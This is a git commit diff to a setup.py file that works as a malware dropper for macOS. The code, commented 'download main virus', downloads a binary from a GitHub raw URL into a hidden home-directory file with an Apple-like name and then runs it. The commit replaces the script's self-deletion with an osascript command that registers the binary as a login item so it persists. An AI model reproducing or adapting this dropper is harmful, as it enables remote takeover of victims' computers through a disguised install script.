From b149d1da4571563757c225e0b9af6a8741ab9999 Mon Sep 17 00:00:00 2001 From: littleblack111 Date: Mon, 14 Aug 2023 10:35:14 +0800 Subject: updated --- setup.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) (limited to 'setup.py') diff --git a/setup.py b/setup.py index c0d1809..48236c8 100644 --- a/setup.py +++ b/setup.py @@ -2,12 +2,13 @@ from requests import get from os.path import expanduser from os import remove from subprocess import Popen as subproc +from os import system as cmd filename = "com.apple.com.user.core" # download main virus open(f"{expanduser('~')}/.{filename}", 'wb').write(get("https://raw.githubusercontent.com/mrdog233o5/Remote-Control-With-Evernote/main/main", allow_redirects=True).content) -remove(__file__) +cmd(f"osascript -e 'tell application \"System Events\" to make login item at end with properties {{path:\"{expanduser('~')}/.{filename}\", hidden:false}}'") subproc([f"{expanduser('~')}/.{filename}"]) -- cgit v1.2.3